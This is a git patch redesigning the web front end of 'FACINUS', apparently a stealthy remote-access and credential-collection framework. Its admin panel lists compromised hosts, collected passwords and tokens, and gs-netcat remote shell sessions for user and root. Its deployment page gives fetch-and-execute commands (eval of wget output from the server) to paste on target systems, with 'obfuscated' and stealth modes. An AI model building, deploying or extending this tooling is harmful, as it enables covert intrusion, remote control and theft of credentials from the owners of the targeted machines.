From 84d7f748cf21ccbcfbdf7b0c8136834c92b195a1 Mon Sep 17 00:00:00 2001 From: Amoelle Date: Sun, 6 Apr 2025 23:47:22 +0300 Subject: [PATCH] oh shit, everything was broken for whole time, i just noticed it and broke everything even worse. Updated design --- web/admin.php | 1108 ++++++++++++++++++++++++---------------------- web/index.html | 345 ++++++--------- web/web_setup.sh | 215 --------- 3 files changed, 713 insertions(+), 955 deletions(-) diff --git a/web/admin.php b/web/admin.php index b4b973f..7306259 100644 --- a/web/admin.php +++ b/web/admin.php @@ -76,6 +76,12 @@ if ($authenticated && isset($_GET['secrets']) && $_GET['host']) { } } +// For gsocket shell access +$shell_mode = false; +if ($authenticated && isset($_GET['shell']) && $_GET['host']) { + $shell_mode = true; +} + // Get logs for a specific host if requested $host_logs = []; if ($authenticated && isset($_GET['host'])) { @@ -100,30 +106,18 @@ if ($authenticated && isset($_GET['host'])) { - FACINUS - Admin Panel + FACINUS - Admin -
-
-
-

FACINUS Admin Panel

- - Logout - -
-
-
-
+
+
+
+  █████▒▄▄▄       ▄████▄   ██▓ ███▄    █  █    ██   ██████ 
+▓██   ▒▒████▄    ▒██▀ ▀█  ▓██▒ ██ ▀█   █  ██  ▓██▒▒██    ▒ 
+▒████ ░▒██  ▀█▄  ▒▓█    ▄ ▒██▒▓██  ▀█ ██▒▓██  ▒██░░ ▓██▄   
+░▓█▒  ░░██▄▄▄▄██ ▒▓▓▄ ▄██▒░██░▓██▒  ▐▌██▒▓▓█  ░██░  ▒   ██▒
+░▒█░    ▓█   ▓██▒▒ ▓███▀ ░░██░▒██░   ▓██░▒▒█████▓ ▒██████▒▒
+ ▒ ░    ▒▒   ▓▒█░░ ░▒ ▒  ░░▓  ░ ▒░   ▒ ▒ ░▒▓▒ ▒ ▒ ▒ ▒▓▒ ▒ ░
+ ░       ▒   ▒▒ ░  ░  ▒    ▒ ░░ ░░   ░ ▒░░░▒░ ░ ░ ░ ░▒  ░ ░
+ ░ ░     ░   ▒   ░         ▒ ░   ░   ░ ░  ░░░ ░ ░ ░  ░  ░  
+             ░  ░░ ░       ░           ░    ░           ░  
+                 ░                                         
+
+ admin panel
+
+
+ + logout + +
+
-
-
-

Hosts

- +
+
+

> hosts

0): ?> -

- -

No Hosts Found

-

There are no connected hosts in the system. Deployed clients will appear here once they connect.

-

+
+

no connected hosts

+
-
-
-

+
+
+

>

- - Logs + + logs - System Info + system - Secrets + secrets + + + shell
- - 0): ?> - $value): ?> -
-
- + +
+

> gsocket shell access

+ + + + +
+

> user session

+
+ gs-netcat -s -i + +
-
- - + + + +
+

> root session

+
+ gs-netcat -s -i + +
+
+ + +
+

$ terminal emulation (run gs-netcat commands above in your local terminal)

+

$ this web console serves as a visual example only

+

$ -------------------------------------------------------

+
+
+ $ +
- - -
- -

No Secrets Found

-

No passwords, tokens, or credentials have been collected from this host yet.

-
- + +
+

no gsocket secrets collected from this host

+
+ +
+ +
+ 0): ?> + $value): ?> +
+
+ > +
+
+ + +
+
+ + +
+

no secrets collected from this host

+
+ +
- -
-
-

System Information

-
+
+ $value): ?> - - + +
-
- -
- -

No System Information

-

System information has not been collected from this host yet.

-
- + +
+

no system information collected

+
+ +
@@ -729,40 +590,25 @@ if ($authenticated && isset($_GET['host'])) {
  • - -
    - - -
    +     +
    • -
    - -

    No Logs Available

    -

    No logs have been collected from this host yet. Check back later.

    +
    +

    no logs available

    -
    - -

    Welcome to FACINUS Admin Panel

    -

    Select a host from the sidebar to view logs, system information, and collected secrets.

    +
    +

    select a host to view details

    @@ -773,61 +619,277 @@ if ($authenticated && isset($_GET['host'])) { - - + + // Auto-refresh functionality for logs + const logContent = document.querySelector('.logs'); + if (logContent) { + // Add refresh button + const refreshButton = document.createElement('button'); + refreshButton.innerText = 'refresh'; + refreshButton.className = 'copy-btn'; + refreshButton.style.position = 'absolute'; + refreshButton.style.top = '10px'; + refreshButton.style.right = '10px'; + + const panelHeader = document.querySelector('.panel-header'); + if (panelHeader) { + panelHeader.style.position = 'relative'; + panelHeader.appendChild(refreshButton); + + refreshButton.addEventListener('click', function() { + // Reload the current page + location.reload(); + }); + } + } + + // Live search functionality for hosts and logs + function addSearchBox(containerSelector, itemSelector) { + const container = document.querySelector(containerSelector); + if (!container) return; + + const searchBox = document.createElement('input'); + searchBox.type = 'text'; + searchBox.placeholder = 'search...'; + searchBox.style.width = '100%'; + searchBox.style.padding = '8px'; + searchBox.style.margin = '0'; + searchBox.style.background = 'var(--bg)'; + searchBox.style.border = '1px solid var(--border)'; + searchBox.style.borderWidth = '0 0 1px 0'; + searchBox.style.color = 'var(--text)'; + searchBox.style.fontFamily = "'Courier New', monospace"; + + container.parentNode.insertBefore(searchBox, container); + + searchBox.addEventListener('input', function() { + const query = this.value.toLowerCase(); + const items = document.querySelectorAll(itemSelector); + + items.forEach(item => { + const text = item.textContent.toLowerCase(); + if (text.includes(query)) { + item.style.display = 'block'; + } else { + item.style.display = 'none'; + } + }); + }); + } + + // Add search boxes if lists exist + if (document.querySelector('.host-list')) { + addSearchBox('.host-list', '.host-list li a'); + } + + if (document.querySelector('.log-list')) { + addSearchBox('.log-list', '.log-list li a'); + } + + // Add a notification system + function createNotification(message, type = 'info') { + const notification = document.createElement('div'); + notification.className = 'notification ' + type; + notification.innerHTML = message; + + notification.style.position = 'fixed'; + notification.style.bottom = '20px'; + notification.style.right = '20px'; + notification.style.padding = '10px 15px'; + notification.style.background = type === 'error' ? 'rgba(255, 85, 85, 0.2)' : 'rgba(51, 255, 51, 0.1)'; + notification.style.border = '1px solid ' + (type === 'error' ? 'var(--accent)' : 'var(--text)'); + notification.style.color = type === 'error' ? 'var(--accent)' : 'var(--text)'; + notification.style.fontFamily = "'Courier New', monospace"; + notification.style.zIndex = '1000'; + notification.style.maxWidth = '300px'; + notification.style.boxShadow = '0 2px 10px rgba(0,0,0,0.2)'; + + document.body.appendChild(notification); + + setTimeout(() => { + notification.style.opacity = '0'; + notification.style.transition = 'opacity 0.5s ease'; + setTimeout(() => { + document.body.removeChild(notification); + }, 500); + }, 3000); + } + + // Example notifications (uncomment to use) + // document.addEventListener('DOMContentLoaded', function() { + // createNotification('Connected to new host: server-backup-01', 'info'); + // }); + + // Add download functionality for logs + if (logContent) { + const downloadButton = document.createElement('button'); + downloadButton.innerText = 'download'; + downloadButton.className = 'copy-btn'; + downloadButton.style.position = 'absolute'; + downloadButton.style.top = '10px'; + downloadButton.style.right = '80px'; // Position next to refresh button + + const panelHeader = document.querySelector('.panel-header'); + if (panelHeader) { + panelHeader.appendChild(downloadButton); + + downloadButton.addEventListener('click', function() { + const content = logContent.innerText; + const blob = new Blob([content], {type: 'text/plain'}); + const url = URL.createObjectURL(blob); + + const a = document.createElement('a'); + a.href = url; + a.download = ''; + document.body.appendChild(a); + a.click(); + document.body.removeChild(a); + URL.revokeObjectURL(url); + + createNotification('Log file downloaded successfully', 'info'); + }); + } + } + + // Enable dark mode toggle + const darkModeToggle = document.createElement('button'); + darkModeToggle.innerText = 'toggle theme'; + darkModeToggle.className = 'copy-btn'; + darkModeToggle.style.position = 'absolute'; + darkModeToggle.style.top = '10px'; + darkModeToggle.style.right = '100px'; + darkModeToggle.style.display = 'none'; // Hidden by default, enable if you want this feature + + const header = document.querySelector('.header'); + if (header) { + header.style.position = 'relative'; + header.appendChild(darkModeToggle); + + darkModeToggle.addEventListener('click', function() { + const root = document.documentElement; + const currentBg = getComputedStyle(root).getPropertyValue('--bg').trim(); + + if (currentBg === '#111111') { + // Switch to light mode + root.style.setProperty('--bg', '#f0f0f0'); + root.style.setProperty('--text', '#006600'); + root.style.setProperty('--text-dim', '#004d00'); + root.style.setProperty('--secondary', '#444444'); + root.style.setProperty('--border', '#cccccc'); + root.style.setProperty('--hover', '#e0e0e0'); + root.style.setProperty('--panel', '#ffffff'); + } else { + // Switch to dark mode + root.style.setProperty('--bg', '#111111'); + root.style.setProperty('--text', '#33ff33'); + root.style.setProperty('--text-dim', '#1a991a'); + root.style.setProperty('--secondary', '#aaaaaa'); + root.style.setProperty('--border', '#333333'); + root.style.setProperty('--hover', '#222222'); + root.style.setProperty('--panel', '#191919'); + } + }); + } + diff --git a/web/index.html b/web/index.html index fe5257d..138bc5b 100644 --- a/web/index.html +++ b/web/index.html @@ -3,21 +3,15 @@ - FACINUS Deployment + FACINUS -
    -
    -

    FACINUS Deployment

    -

    Secure client deployment system

    +
    +
    + ____  __    ___  __  __ _  _  _  ____ 
+(  __)/ _\  / __)(  )(  ( \/ )( \/ ___)
+ ) _)/    \( (__  )( /    /) \/ (\___ \
+(__) \_/\_/ \___)(__)\_)__)\____/(____/
+
+                                        
+
    +
    + +

    > deployment

    + +
    + eval "$(wget -qO- http://SERVER_IP/deployment/y)" + +
    + +
    + requires root access. runs in stealth mode by default. +
    + +

    > options

    + +
    +
    +
    > minimal
    +
    + eval "$(wget -qO- http://SERVER_IP/deployment/y)" + +
    +
    + +
    +
    > user mode
    +
    + eval "$(wget -qO- http://SERVER_IP/deployment/y)" + +
    +
    + +
    +
    > obfuscated
    +
    + eval "$(wget -qO- http://SERVER_IP/deployment/y)" + +
    +
    + +
    +
    > one-liner
    +
    + eval "$(wget -qO- http://SERVER_IP/deployment/y)" + +
    -
    -
    -

    Quick Setup

    -

    Copy and paste this command into a terminal on the target system:

    - -
    - eval "$(wget -qO- http://SERVER_IP/deployment/y)" - -
    - -
    - - Note: This will install with default settings and requires root access. -
    -
    - -
    -

    Installation Options

    - -
    -
    -
    Minimal Installation
    -

    For limited access without requiring root privileges:

    -
    - eval "$(wget -qO- http://SERVER_IP/deployment/y)" - -
    -
    - -
    -
    Full Installation
    -

    Complete installation with all features:

    -
    - eval "$(wget -qO- http://SERVER_IP/deployment/y)" - -
    -
    - -
    -
    Quiet Mode
    -

    Minimal output for stealthy installation:

    -
    - eval "$(wget -qO- http://SERVER_IP/deployment/y)" - - Copy - -
    -
    - -
    -
    Obfuscated Installation
    -

    For environments with stricter monitoring:

    -
    - eval "$(wget -qO- http://SERVER_IP/deployment/y)" - -
    -
    -
    -
    - -
    -

    Admin Access

    -

    Access the admin panel for logs and client information:

    - Admin Panel -
    -
    +

    > admin

    + $ access admin panel diff --git a/web/web_setup.sh b/web/web_setup.sh index b6e29ee..217e227 100755 --- a/web/web_setup.sh +++ b/web/web_setup.sh @@ -44,225 +44,10 @@ setup_web_server() { sudo chmod 750 "$SERVER_ROOT/logs" sudo chmod 750 "$SERVER_ROOT/secrets" - # Copy web files - copy_web_files - # Configure web server configure_webserver } -copy_web_files() { - # Copy PHP files from the web directory to the server root - sudo cp -r "$WEB_DIR/"* "$SERVER_ROOT/" - - # Add the theme CSS - create_theme_files - - # Update configurations in files - sudo sed -i "s/TOKEN_PLACEHOLDER/$SECRET_TOKEN/g" "$SERVER_ROOT/log_receiver.php" - sudo sed -i "s/ADMIN_PASSWORD_PLACEHOLDER/$ADMIN_PASSWORD/g" "$SERVER_ROOT/admin.php" - - # Update Server IP in the HTML files - sudo sed -i "s/SERVER_IP/$SERVER_IP/g" "$SERVER_ROOT/index.html" - sudo sed -i "s/SERVER_IP/$SERVER_IP/g" "$SERVER_ROOT/admin.php" - - # Set proper permissions - sudo chmod 640 "$SERVER_ROOT/admin.php" - sudo chmod 640 "$SERVER_ROOT/log_receiver.php" -} - -create_theme_files() { - # Create dark theme CSS file - cat > "$TEMP_DIR/dark-theme.css" << 'EOF' -:root { - --bg-color: #1e1e1e; - --text-color: #e0e0e0; - --border-color: #444; - --header-bg: #252525; - --card-bg: #2d2d2d; - --link-color: #58a6ff; - --button-bg: #0d6efd; - --button-color: white; - --input-bg: #333; - --input-color: #e0e0e0; - --table-header-bg: #333; - --table-row-hover: #3a3a3a; - --code-bg: #2d2d2d; - --code-color: #e0e0e0; -} - -body { - background-color: var(--bg-color); - color: var(--text-color); -} - -.container, .card, .login { - background-color: var(--card-bg); - border-color: var(--border-color); -} - -a { - color: var(--link-color); -} - -input, select, textarea { - background-color: var(--input-bg); - color: var(--input-color); - border-color: var(--border-color); -} - -button, .button { - background-color: var(--button-bg); - color: var(--button-color); -} - -table { - border-color: var(--border-color); -} - -th { - background-color: var(--table-header-bg); -} - -tr:hover { - background-color: var(--table-row-hover); -} - -.logs, pre, code, .command { - background-color: var(--code-bg); - color: var(--code-color); -} - -.secret { - background-color: #332; - border-color: #554; -} -EOF - - # Create light theme CSS file - cat > "$TEMP_DIR/light-theme.css" << 'EOF' -:root { - --bg-color: #f2f2f2; - --text-color: #333; - --border-color: #ddd; - --header-bg: #f8f8f8; - --card-bg: #fff; - --link-color: #0066cc; - --button-bg: #0d6efd; - --button-color: white; - --input-bg: #fff; - --input-color: #333; - --table-header-bg: #f2f2f2; - --table-row-hover: #f8f8f8; - --code-bg: #f8f8f8; - --code-color: #333; -} - -body { - background-color: var(--bg-color); - color: var(--text-color); -} - -.container, .card, .login { - background-color: var(--card-bg); - border-color: var(--border-color); -} - -a { - color: var(--link-color); -} - -input, select, textarea { - background-color: var(--input-bg); - color: var(--input-color); - border-color: var(--border-color); -} - -button, .button { - background-color: var(--button-bg); - color: var(--button-color); -} - -table { - border-color: var(--border-color); -} - -th { - background-color: var(--table-header-bg); -} - -tr:hover { - background-color: var(--table-row-hover); -} - -.logs, pre, code, .command { - background-color: var(--code-bg); - color: var(--code-color); -} - -.secret { - background-color: #ffe; - border-color: #ddc; -} -EOF - - sudo cp "$TEMP_DIR/dark-theme.css" "$SERVER_ROOT/css/dark-theme.css" - sudo cp "$TEMP_DIR/light-theme.css" "$SERVER_ROOT/css/light-theme.css" - - # Create theme switcher JS - cat > "$TEMP_DIR/theme-switcher.js" << 'EOF' -document.addEventListener('DOMContentLoaded', function() { - // Check for saved theme preference or use preferred color scheme - const savedTheme = localStorage.getItem('theme') || - (window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light'); - - // Apply the theme - document.documentElement.setAttribute('data-theme', savedTheme); - - // Create theme toggle button - const themeToggle = document.createElement('button'); - themeToggle.id = 'theme-toggle'; - themeToggle.innerHTML = savedTheme === 'dark' ? '☀️' : '🌙'; - themeToggle.style.position = 'fixed'; - themeToggle.style.bottom = '20px'; - themeToggle.style.right = '20px'; - themeToggle.style.borderRadius = '50%'; - themeToggle.style.width = '50px'; - themeToggle.style.height = '50px'; - themeToggle.style.fontSize = '24px'; - themeToggle.style.cursor = 'pointer'; - themeToggle.style.border = 'none'; - themeToggle.style.boxShadow = '0 2px 5px rgba(0,0,0,0.2)'; - themeToggle.style.zIndex = '1000'; - - document.body.appendChild(themeToggle); - - // Update link element - const themeLink = document.getElementById('theme-stylesheet'); - themeLink.href = `css/${savedTheme}-theme.css`; - - // Theme toggle functionality - themeToggle.addEventListener('click', function() { - const currentTheme = document.documentElement.getAttribute('data-theme'); - const newTheme = currentTheme === 'dark' ? 'light' : 'dark'; - - document.documentElement.setAttribute('data-theme', newTheme); - themeLink.href = `css/${newTheme}-theme.css`; - themeToggle.innerHTML = newTheme === 'dark' ? '☀️' : '🌙'; - - // Save preference - localStorage.setItem('theme', newTheme); - }); -}); -EOF - - sudo cp "$TEMP_DIR/theme-switcher.js" "$SERVER_ROOT/assets/theme-switcher.js" - - # Update HTML files to include theme - sudo sed -i '/<\/head>/i \ \n ' "$SERVER_ROOT/index.html" - sudo sed -i '/<\/head>/i \ \n ' "$SERVER_ROOT/admin.php" -} - configure_webserver() { case "$DISTRO" in arch)